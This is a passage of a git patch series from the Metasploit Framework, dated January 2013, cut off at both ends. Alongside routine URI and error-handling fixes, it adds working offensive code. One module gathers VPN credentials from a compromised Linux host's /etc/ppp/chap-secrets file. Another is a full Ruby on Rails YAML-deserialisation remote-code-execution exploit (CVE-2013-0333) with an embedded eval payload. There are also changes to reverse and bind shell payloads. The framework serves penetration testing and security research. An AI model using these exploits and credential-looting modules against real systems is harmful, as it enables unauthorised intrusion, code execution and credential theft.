::Timeout::Error, ::Errno::EPIPE - vprint_error("#{peer} - Timeout error") - return - end - - - -end From 01b7e3554ee6575fd561d91789fd93ce5bdf089d Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Fri, 25 Jan 2013 22:05:09 +0100 Subject: [PATCH 042/129] fix issue found by newpid0 --- .../auxiliary/scanner/http/joomla_version.rb | 52 +++++++++---------- 1 file changed, 25 insertions(+), 27 deletions(-) diff --git a/modules/auxiliary/scanner/http/joomla_version.rb b/modules/auxiliary/scanner/http/joomla_version.rb index 5ccdfe89d7..f0ebb7cbda 100755 --- a/modules/auxiliary/scanner/http/joomla_version.rb +++ b/modules/auxiliary/scanner/http/joomla_version.rb @@ -40,9 +40,7 @@ class Metasploit3 < Msf::Auxiliary end case response.headers['Server'] - when /Win32/ - when /\(Windows/ - when /IIS/ + when /Win32/, /\(Windows/, /IIS/ os = "Windows" when /Apache\// os = "*Nix" @@ -57,36 +55,36 @@ class Metasploit3 < Msf::Auxiliary when /(.+)<\/version\/?>/i v = $1 out = (v =~ /^6/) ? "Joomla #{v}" : " #{v}" - when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/ - when /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/ - when /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/ - when /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/ - when /20196 2011\-01\-09 02\:40\:25Z ian/ + when /system\.css 20196 2011\-01\-09 02\:40\:25Z ian/, + /MooTools\.More\=\{version\:\"1\.3\.0\.1\"/, + /en-GB\.ini 20196 2011\-01\-09 02\:40\:25Z ian/, + /en-GB\.ini 20990 2011\-03\-18 16\:42\:30Z infograf768/, + /20196 2011\-01\-09 02\:40\:25Z ian/ out = "1.6" - when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley / - when /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/ - when /22183 2011\-09\-30 09\:04\:32Z infograf768/ - when /21660 2011\-06\-23 13\:25\:32Z infograf768/ + when /system\.css 21322 2011\-05\-11 01\:10\:29Z dextercowley /, + /MooTools\.More\=\{version\:\"1\.3\.2\.1\"/, + /22183 2011\-09\-30 09\:04\:32Z infograf768/, + /21660 2011\-06\-23 13\:25\:32Z infograf768/ out = "1.7" - when /Joomla! 1.5/ - when /MooTools\=\{version\:\'1\.12\'\}/ - when /11391 2009\-01\-04 13\:35\:50Z ian/ + when /Joomla! 1.5/, + /MooTools\=\{version\:\'1\.12\'\}/, + /11391 2009\-01\-04 13\:35\:50Z ian/ out = "1.5" - when /Copyright \(C\) 2005 \- 2012 Open Source Matters/ - when /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ + when /Copyright \(C\) 2005 \- 2012 Open Source Matters/, + /MooTools.More\=\{version\:\"1\.4\.0\.1\"/ out = "2.5" when /\s+ Date: Sat, 26 Jan 2013 01:26:18 -0500 Subject: [PATCH 043/129] MySQL login scanner unhandled exception --- modules/auxiliary/scanner/mysql/mysql_login.rb | 1 + 1 file changed, 1 insertion(+) diff --git a/modules/auxiliary/scanner/mysql/mysql_login.rb b/modules/auxiliary/scanner/mysql/mysql_login.rb index be8b70e14f..154c643877 100644 --- a/modules/auxiliary/scanner/mysql/mysql_login.rb +++ b/modules/auxiliary/scanner/mysql/mysql_login.rb @@ -67,6 +67,7 @@ class Metasploit3 < Msf::Auxiliary end offset = 0 l0, l1, l2 = data[offset, 3].unpack('CCC') + return false if data.length < 3 length = l0 | (l1 << 8) | (l2 << 16) # Read a bad amount of data return if length != (data.length - 4) From 49aac302e6acf495dba9a024bd1ef13870080c84 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Sat, 26 Jan 2013 22:57:01 -0600 Subject: [PATCH 044/129] normalize_uri() breaks URI parsing Please see: http://dev.metasploit.com/redmine/issues/7727 --- modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb index 0895037634..d9c8e87e8d 100644 --- a/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb +++ b/modules/exploits/multi/http/ajaxplorer_checkinstall_exec.rb @@ -80,7 +80,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit peer = "#{rhost}:#{rport}" uri = normalize_uri(target_uri.path) - uri << '/' if target_uri.path[-1,1] != '/' + uri << '/' if uri[-1,1] != '/' # Trigger the command execution bug res = send_request_cgi({ From 169f91159e00044dd7f475b5520682c3911371c6 Mon Sep 17 00:00:00 2001 From: rogueclown Date: Sun, 27 Jan 2013 21:18:49 -0600 Subject: [PATCH 045/129] added 'from' PID to meterpreter migrate message --- lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index cb6aca1ca6..8005b3b66d 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -342,7 +342,8 @@ class Console::CommandDispatcher::Core return end - print_status("Migrating to #{pid}...") + server = client.sys.process.open + print_status("Migrating from #{server.pid} to #{pid}...") # Do this thang. client.core.migrate(pid) From fc833ea8df544a884712c7acc3620efdb6d993ba Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 28 Jan 2013 10:30:59 -0600 Subject: [PATCH 046/129] Catch exceptions and return value --- .../meterpreter/ui/console/command_dispatcher/core.rb | 11 +++++++++-- 1 file changed, 9 insertions(+), 2 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 8005b3b66d..6d8fc9ae3a 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -342,8 +342,15 @@ class Console::CommandDispatcher::Core return end - server = client.sys.process.open - print_status("Migrating from #{server.pid} to #{pid}...") + begin + server = client.sys.process.open + rescue TimeoutError => e + elog(e.to_s) + rescue RequestError => e + elog(e.to_s) + end + + server ? print_status("Migrating from #{server.pid} to #{pid}...") : print_status("Migrating to #{pid}") # Do this thang. client.core.migrate(pid) From 9a58b7b7320f57c25b97f9c6ac6748d2815d122b Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 28 Jan 2013 12:10:21 -0600 Subject: [PATCH 047/129] Fix normalize_uri() function This will make sure all the double slashes are gone. Also, the function description is updated to clarify its purpose. --- lib/msf/core/exploit/http/client.rb | 12 +++++++++--- 1 file changed, 9 insertions(+), 3 deletions(-) diff --git a/lib/msf/core/exploit/http/client.rb b/lib/msf/core/exploit/http/client.rb index 8ac65d6a0f..4d4fd787a6 100644 --- a/lib/msf/core/exploit/http/client.rb +++ b/lib/msf/core/exploit/http/client.rb @@ -536,15 +536,21 @@ module Exploit::Remote::HttpClient end # - # Make sure the URI starts with a slash and doesn't end with one + # Returns a modified version of the URI that: + # 1. Always has a starting slash + # 2. Removes all the double slashes + # 3. Removes the trailing slash # def normalize_uri(str) - + # Makes sure there's a starting slash unless str.to_s[0,1] == "/" str = "/" + str.to_s end - str = str.gsub(/^\/+/, '/') + # Removes all double slashes + str = str.gsub!("//", "/") while str.index("//") + + # Makes sure there's no trailing slash unless str.length == 1 str = str.gsub(/\/+$/, '') end From 690ef85ac1120a2a8e0845fe03c3c5398802b813 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 28 Jan 2013 13:19:31 -0600 Subject: [PATCH 048/129] Fix trailing slash problem These modules require the target URI to be a directory path. So if you remove the trailing slash, the web server might return a 301 or 404 instead of 200. Related to: [SeeRM: #7727] --- .../admin/cisco/cisco_secure_acs_bypass.rb | 1 + .../gather/wp_w3_total_cache_hash_extract.rb | 15 ++++++++++++--- modules/auxiliary/scanner/http/glassfish_login.rb | 2 +- modules/auxiliary/scanner/http/vcms_login.rb | 2 +- modules/exploits/linux/http/dolibarr_cmd_exec.rb | 1 + modules/exploits/linux/http/vcms_upload.rb | 1 + .../windows/mysql/scrutinizer_upload_exec.rb | 1 + 7 files changed, 18 insertions(+), 5 deletions(-) diff --git a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb index 4ddf66ff52..58aae1ae98 100644 --- a/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb +++ b/modules/auxiliary/admin/cisco/cisco_secure_acs_bypass.rb @@ -75,6 +75,7 @@ class Metasploit4 < Msf::Auxiliary begin uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_cgi({ 'uri' => uri, 'method' => 'POST', diff --git a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb index 564218eaa1..db04a3a2f8 100644 --- a/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb +++ b/modules/auxiliary/gather/wp_w3_total_cache_hash_extract.rb @@ -55,9 +55,17 @@ class Metasploit3 < Msf::Auxiliary # Call the User site, so the db statement will be cached def cache_user_info(user_id) - user_url = normalize_uri("/#{wordpress_url}?author=#{user_id}") + user_url = normalize_uri(wordpress_url) begin - send_request_cgi({ "uri" => user_url, "method" => "GET" }) + send_request_cgi( + { + "uri" => user_url, + "method" => "GET", + "vars_get" => { + "author" => user_id + } + }) + rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout vprint_error("Unable to connect to #{url}") return nil @@ -83,7 +91,8 @@ class Metasploit3 < Msf::Auxiliary key="w3tc_#{host}_#{site_id}_sql_#{query_md5}" key_md5 = ::Rex::Text.md5(key) hash_path = "/#{key_md5[0,1]}/#{key_md5[1,1]}/#{key_md5[2,1]}/#{key_md5}" - url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache#{hash_path}") + url = normalize_uri("/#{wordpress_url}#{datastore["WP_CONTENT_DIR"]}/w3tc/dbcache") + uri << hash_path result = nil begin diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index 7f698f9bff..c7c18d50e7 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -218,7 +218,7 @@ class Metasploit3 < Msf::Auxiliary #Get GlassFish version edition, version, banner = get_version(res) - path = normalize_uri(datastore['PATH']) + path = normalize_uri(target_uri) target_url = "http://#{rhost.to_s}:#{rport.to_s}/#{path.to_s}" print_status("#{target_url} - GlassFish - Attempting authentication") diff --git a/modules/auxiliary/scanner/http/vcms_login.rb b/modules/auxiliary/scanner/http/vcms_login.rb index 740a912160..7afdc7e61d 100644 --- a/modules/auxiliary/scanner/http/vcms_login.rb +++ b/modules/auxiliary/scanner/http/vcms_login.rb @@ -89,7 +89,7 @@ class Metasploit3 < Msf::Auxiliary return :skip_user when /Invalid password/ vprint_status("#{@peer} - Username found: #{user}") - else /\/ + else /\/ print_good("#{@peer} - Successful login: \"#{user}:#{pass}\"") report_auth_info({ :host => rhost, diff --git a/modules/exploits/linux/http/dolibarr_cmd_exec.rb b/modules/exploits/linux/http/dolibarr_cmd_exec.rb index a2547640a1..abf9fb3f46 100644 --- a/modules/exploits/linux/http/dolibarr_cmd_exec.rb +++ b/modules/exploits/linux/http/dolibarr_cmd_exec.rb @@ -61,6 +61,7 @@ class Metasploit3 < Msf::Exploit::Remote def check uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'method' => 'GET', 'uri' => uri diff --git a/modules/exploits/linux/http/vcms_upload.rb b/modules/exploits/linux/http/vcms_upload.rb index c04ea190f5..d5f5fc8acd 100644 --- a/modules/exploits/linux/http/vcms_upload.rb +++ b/modules/exploits/linux/http/vcms_upload.rb @@ -63,6 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote def check uri = normalize_uri(target_uri.path) + uri << '/' if uri[-1,1] != '/' res = send_request_raw({ 'uri' => uri, 'method' => 'GET' diff --git a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb index dfc48fc27d..641783f5a3 100644 --- a/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb +++ b/modules/exploits/windows/mysql/scrutinizer_upload_exec.rb @@ -73,6 +73,7 @@ class Metasploit3 < Msf::Exploit::Remote def check tmp_rport = datastore['RPORT'] uri = normalize_uri(target_uri.host) + uri << '/' if uri[-1,1] != '/' datastore['RPORT'] = datastore['HTTPPORT'] res = send_request_raw({'uri'=>uri}) datastore['RPORT'] = tmp_rport From 1ea1ad3166de0c8c0fc888fd3cac53c6946620d6 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 28 Jan 2013 14:48:22 -0600 Subject: [PATCH 049/129] Fix the forgotten path() --- modules/auxiliary/scanner/http/glassfish_login.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/scanner/http/glassfish_login.rb b/modules/auxiliary/scanner/http/glassfish_login.rb index c7c18d50e7..a48c352431 100644 --- a/modules/auxiliary/scanner/http/glassfish_login.rb +++ b/modules/auxiliary/scanner/http/glassfish_login.rb @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Auxiliary headers['Content-Type'] = ctype if ctype != nil headers['Content-Length'] = data.length if data != nil - uri = normalize_uri(target_uri) + uri = normalize_uri(target_uri.path) res = send_request_raw({ 'uri' => "#{uri}#{path}", 'method' => method, From ca70041f32158a9af8e2981d8b698154f50a09bf Mon Sep 17 00:00:00 2001 From: sinn3r Date: Mon, 28 Jan 2013 16:23:26 -0600 Subject: [PATCH 050/129] Adds a post module that loots chap-secrets --- .../post/linux/gather/pptpd_chap_secrets.rb | 120 ++++++++++++++++++ 1 file changed, 120 insertions(+) create mode 100644 modules/post/linux/gather/pptpd_chap_secrets.rb diff --git a/modules/post/linux/gather/pptpd_chap_secrets.rb b/modules/post/linux/gather/pptpd_chap_secrets.rb new file mode 100644 index 0000000000..1972b0cba8 --- /dev/null +++ b/modules/post/linux/gather/pptpd_chap_secrets.rb @@ -0,0 +1,120 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'msf/core/post/common' + +class Metasploit3 < Msf::Post + + include Msf::Post::Common + include Msf::Post::File + include Msf::Auxiliary::Report + + def initialize(info={}) + super( update_info( info, + 'Name' => 'Linux Gather PPTP VPN chap-secrets Credentials', + 'Description' => %q{ + This module collects PPTP VPN information such as client, server, password, + and IP from your target server's chap-secrets file. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'sinn3r'], + 'Platform' => [ 'linux' ], + 'SessionTypes' => [ "shell", "meterpreter" ] + )) + + register_options( + [ + OptString.new('FILE', [true, 'The default path for chap-secrets', '/etc/ppp/chap-secrets']) + ], self.class) + end + + + # + # Reads chap_secrets + # + def load_file(fname) + begin + data = cmd_exec("cat #{fname}") + rescue RequestError => e + print_error("Failed to retrieve file. #{e.message}") + data = '' + end + + if data =~ /^#{fname}: regular file, no read permission$/ or data =~ /Permission denied$/ + return :access_denied + elsif data =~ /\(No such file or directory\)$/ + return :not_found + elsif data.empty? + return :empty + end + + return data + end + + + # + # Extracts client, server, secret, and IP addresses + # + def extract_secrets(data) + tbl = Rex::Ui::Text::Table.new({ + 'Header' => 'PPTPd chap-secrets', + 'Indent' => 1, + 'Columns' => ['Client', 'Server', 'Secret', 'IP'] + }) + + data.each_line do |l| + # If this line is commented out, ignore it + next if l =~ /^[[:blank:]]*#/ + + found = l.scan(/(.+)[[:blank:]]+(.+)[[:blank:]]+(.+)[[:blank:]]+(.+)$/).flatten + + # Nothing is found, skip! + next if found.empty? + + client = (found[0] || '').strip + server = (found[1] || '').strip + secret = (found[2] || '').strip + ip = (found[3] || '').strip + + tbl << [client, server, secret, ip] + end + + if tbl.rows.empty? + print_status("This file has no secrets: #{datastore['FILE']}") + else + print_line(tbl.to_s) + + p = store_loot( + 'linux.chapsecrets.creds', + 'text/csv', + session, + tbl.to_csv, + File.basename(datastore['FILE'] + ".txt") + ) + print_good("Secrets stored in: #{p}") + end + end + + + def run + fname = datastore['FILE'] + f = load_file(fname) + + case f + when :access_denied + print_error("No permission to read: #{fname}") + when :not_found + print_error("Not found: #{fname}") + when :empty + print_status("File is actually empty: #{fname}") + else + extract_secrets(f) + end + end + +end \ No newline at end of file From ee2579607ab89fd83eb8536aa08156944f043c6e Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 28 Jan 2013 21:05:14 -0600 Subject: [PATCH 051/129] Working against 3.0.19 --- .../multi/http/rails_json_yaml_code_exec.rb | 109 ++++++++++++++++++ 1 file changed, 109 insertions(+) create mode 100644 modules/exploits/multi/http/rails_json_yaml_code_exec.rb diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb new file mode 100644 index 0000000000..4bd4765e4e --- /dev/null +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -0,0 +1,109 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' +require 'yaml' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::CmdStagerTFTP + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Ruby on Rails JSON Processor YAML Deserialization Code Execution', + 'Description' => %q{ + This module exploits a remote code execution vulnerability in the JSON request + processor of the Ruby on Rails application framework. This vulnerability allows + an attacker to instantiate a remote object, which in turn can be used to execute + any ruby code remotely in the context of the application. + + This module has been tested on RoR 3.0.19 + + The technique used by this module requires the target to be running a fairly recent + version of Ruby 1.9 (since 2011 or so). Applications using Ruby 1.8 may still be + exploitable using the init_with() method, but this has not been demonstrated. + + }, + 'Author' => + [ + 'charliesome', # PoC + 'espes', # PoC and Metasploit module + 'lian', # Identified the RouteSet::NamedRouteCollection vector + 'hdm' # Module merge/conversion/payload work + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-0333'], + ], + 'Platform' => 'ruby', + 'Arch' => ARCH_RUBY, + 'Privileged' => false, + 'Targets' => [ ['Automatic', {} ] ], + 'DisclosureDate' => 'Jan 28 2013', + 'DefaultTarget' => 0)) + + register_options( + [ + Opt::RPORT(80), + OptString.new('TARGETURI', [ true, 'The path to a vulnerable Ruby on Rails application', "/"]), + OptString.new('HTTP_METHOD', [ true, 'The HTTP request method (GET, POST, PUT typically work)', "POST"]) + + ], self.class) + + end + + # + # Create the YAML document that will be embedded into the JSON + # + def build_yaml_rails2 + + code = Rex::Text.encode_base64(payload.encoded) + yaml = + "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + + "eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:ActionController::Routing::Route\n segments: []\n requirements:\n " + + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}:\n :#{Rex::Text.rand_text_alpha(rand(8)+1)}: " + + ":#{Rex::Text.rand_text_alpha(rand(8)+1)}\n" + yaml.gsub(':', '\u003a') + end + + + # + # Create the YAML document that will be embedded into the JSON + # + def build_yaml_rails3 + + code = Rex::Text.encode_base64(payload.encoded) + yaml = + "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + + "'#{Rex::Text.rand_text_alpha(rand(8)+1)};eval(%[#{code}].unpack(%[m0])[0]);' " + + ": !ruby/object:OpenStruct\n table:\n :defaults: {}\n" + yaml.gsub(':', '\u003a') + end + + + # + # Send the actual request + # + def exploit + + print_status("Sending Railsv3 request to #{rhost}:#{rport}...") + send_request_cgi({ + 'uri' => normalize_uri(target_uri.path), + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/json', + 'headers' => { 'X-HTTP-Method-Override' => 'get' }, + 'data' => build_yaml_rails3 + }, 25) + handler + + end +end From 92c736a6a944fed8738850672f87d3b1b29a19c1 Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 28 Jan 2013 21:34:39 -0600 Subject: [PATCH 052/129] Move fork stuff out of exploit into payload mixin Tested xml against 3.2.10 and json against 3.0.19 --- lib/msf/core/payload/ruby.rb | 39 +++++++++++++ .../multi/http/rails_json_yaml_code_exec.rb | 3 +- .../multi/http/rails_xml_yaml_code_exec.rb | 58 +++++-------------- .../payloads/singles/ruby/shell_bind_tcp.rb | 4 +- .../singles/ruby/shell_bind_tcp_ipv6.rb | 4 +- .../singles/ruby/shell_reverse_tcp.rb | 4 +- 6 files changed, 64 insertions(+), 48 deletions(-) create mode 100644 lib/msf/core/payload/ruby.rb diff --git a/lib/msf/core/payload/ruby.rb b/lib/msf/core/payload/ruby.rb new file mode 100644 index 0000000000..46980e348c --- /dev/null +++ b/lib/msf/core/payload/ruby.rb @@ -0,0 +1,39 @@ +# -*- coding: binary -*- +require 'msf/core' + +module Msf::Payload::Ruby + + def initialize(info = {}) + super(info) + + register_advanced_options( + [ + # Since space restrictions aren't really a problem, default this to + # true. + Msf::OptBool.new('PrependFork', [ false, "Start the payload in its own process via fork or popen", "true" ]) + ] + ) + end + + def prepends(buf) + if datastore['PrependFork'] + buf = %Q^ + code = %(#{ Rex::Text.encode_base64(buf) }).unpack(%(m0)).first + if RUBY_PLATFORM =~ /mswin|mingw|win32/ + inp = IO.popen(%(ruby), %(wb)) rescue nil + if inp + inp.write(code) + inp.close + end + else + if ! Process.fork() + eval(code) rescue nil + end + end + ^.strip.split(/\n/).map{|line| line.strip}.join("\n") + end + + buf + end + +end diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 4bd4765e4e..018f5dbf53 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 28 2013', + 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( @@ -94,6 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote # Send the actual request # def exploit + p payload.encoded print_status("Sending Railsv3 request to #{rhost}:#{rport}...") send_request_cgi({ @@ -103,7 +105,6 @@ class Metasploit3 < Msf::Exploit::Remote 'headers' => { 'X-HTTP-Method-Override' => 'get' }, 'data' => build_yaml_rails3 }, 25) - handler end end diff --git a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb index b103422ff4..0d02e885fd 100644 --- a/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_xml_yaml_code_exec.rb @@ -47,6 +47,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Privileged' => false, 'Targets' => [ ['Automatic', {} ] ], 'DisclosureDate' => 'Jan 7 2013', + 'DefaultOptions' => { "PrependFork" => true }, 'DefaultTarget' => 0)) register_options( @@ -63,35 +64,12 @@ class Metasploit3 < Msf::Exploit::Remote ], self.class) end - - # - # This stub ensures that the payload runs outside of the Rails process - # Otherwise, the session can be killed on timeout - # - def detached_payload_stub(code) - %Q^ - code = '#{ Rex::Text.encode_base64(code) }'.unpack("m0").first - if RUBY_PLATFORM =~ /mswin|mingw|win32/ - inp = IO.popen("ruby", "wb") rescue nil - if inp - inp.write(code) - inp.close - end - else - if ! Process.fork() - eval(code) rescue nil - end - end - ^.strip.split(/\n/).map{|line| line.strip}.join("\n") - end - # # Create the YAML document that will be embedded into the XML # def build_yaml_rails2 - # Embed the payload with the detached stub - code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) + code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionController::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + @@ -108,8 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote # def build_yaml_rails3 - # Embed the payload with the detached stub - code = Rex::Text.encode_base64( detached_payload_stub(payload.encoded) ) + code = Rex::Text.encode_base64(payload.encoded) yaml = "--- !ruby/hash:ActionDispatch::Routing::RouteSet::NamedRouteCollection\n" + "'#{Rex::Text.rand_text_alpha(rand(8)+1)}; " + @@ -164,24 +141,17 @@ class Metasploit3 < Msf::Exploit::Remote # def exploit - print_status("Sending Railsv3 request to #{rhost}:#{rport}...") - res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", - 'method' => datastore['HTTP_METHOD'], - 'ctype' => 'application/xml', - 'headers' => { 'X-HTTP-Method-Override' => 'get' }, - 'data' => build_request(3) - }, 25) - handler + [2, 3].each do |ver| + print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") + send_request_cgi({ + 'uri' => datastore['URIPATH'] || "/", + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 'application/xml', + 'headers' => { 'X-HTTP-Method-Override' => 'get' }, + 'data' => build_request(ver) + }, 25) + handler + end - print_status("Sending Railsv2 request to #{rhost}:#{rport}...") - res = send_request_cgi({ - 'uri' => datastore['URIPATH'] || "/", - 'method' => datastore['HTTP_METHOD'], - 'ctype' => 'application/xml', - 'headers' => { 'X-HTTP-Method-Override' => 'get' }, - 'data' => build_request(2) - }, 25) - handler end end diff --git a/modules/payloads/singles/ruby/shell_bind_tcp.rb b/modules/payloads/singles/ruby/shell_bind_tcp.rb index c7ccfff7b9..8a095ec25f 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ module Metasploit3 end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb index 2e3926ca37..e0860b0074 100644 --- a/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb +++ b/modules/payloads/singles/ruby/shell_bind_tcp_ipv6.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/bind_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ module Metasploit3 end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string diff --git a/modules/payloads/singles/ruby/shell_reverse_tcp.rb b/modules/payloads/singles/ruby/shell_reverse_tcp.rb index 0e149754cf..0bffe88322 100644 --- a/modules/payloads/singles/ruby/shell_reverse_tcp.rb +++ b/modules/payloads/singles/ruby/shell_reverse_tcp.rb @@ -6,6 +6,7 @@ ## require 'msf/core' +require 'msf/core/payload/ruby' require 'msf/core/handler/reverse_tcp' require 'msf/base/sessions/command_shell' require 'msf/base/sessions/command_shell_options' @@ -13,6 +14,7 @@ require 'msf/base/sessions/command_shell_options' module Metasploit3 include Msf::Payload::Single + include Msf::Payload::Ruby include Msf::Sessions::CommandShellOptions def initialize(info = {}) @@ -31,7 +33,7 @@ module Metasploit3 end def generate - return super + ruby_string + return prepends(ruby_string) end def ruby_string From c0757ce9053528b9effc118cf7b5d7c9ef011d1c Mon Sep 17 00:00:00 2001 From: James Lee Date: Mon, 28 Jan 2013 21:41:15 -0600 Subject: [PATCH 053/129] Add support for 2.x --- .../multi/http/rails_json_yaml_code_exec.rb | 25 +++++++++++++------ 1 file changed, 17 insertions(+), 8 deletions(-) diff --git a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb index 018f5dbf53..1343d04a61 100644 --- a/modules/exploits/multi/http/rails_json_yaml_code_exec.rb +++ b/modules/exploits/multi/http/rails_json_yaml_code_exec.rb @@ -90,6 +90,12 @@ class Metasploit3 < Msf::Exploit::Remote yaml.gsub(':', '\u003a') end + def build_request(v) + case v + when 2; build_yaml_rails2 + when 3; build_yaml_rails3 + end + end # # Send the actual request @@ -97,14 +103,17 @@ class Metasploit3 < Msf::Exploit::Remote def exploit p payload.encoded - print_status("Sending Railsv3 request to #{rhost}:#{rport}...") - send_request_cgi({ - 'uri' => normalize_uri(target_uri.path), - 'method' => datastore['HTTP_METHOD'], - 'ctype' => 'application/json', - 'headers' => { 'X-HTTP-Method-Override' => 'get' }, - 'data' => build_yaml_rails3 - }, 25) + [2, 3].each do |ver| + print_status("Sending Railsv#{ver} request to #{rhost}:#{rport}...") + send_request_cgi({ + 'uri' => datastore['URIPATH'] || "/", + 'method' => datastore['HTTP_METHOD'], + 'ctype' => 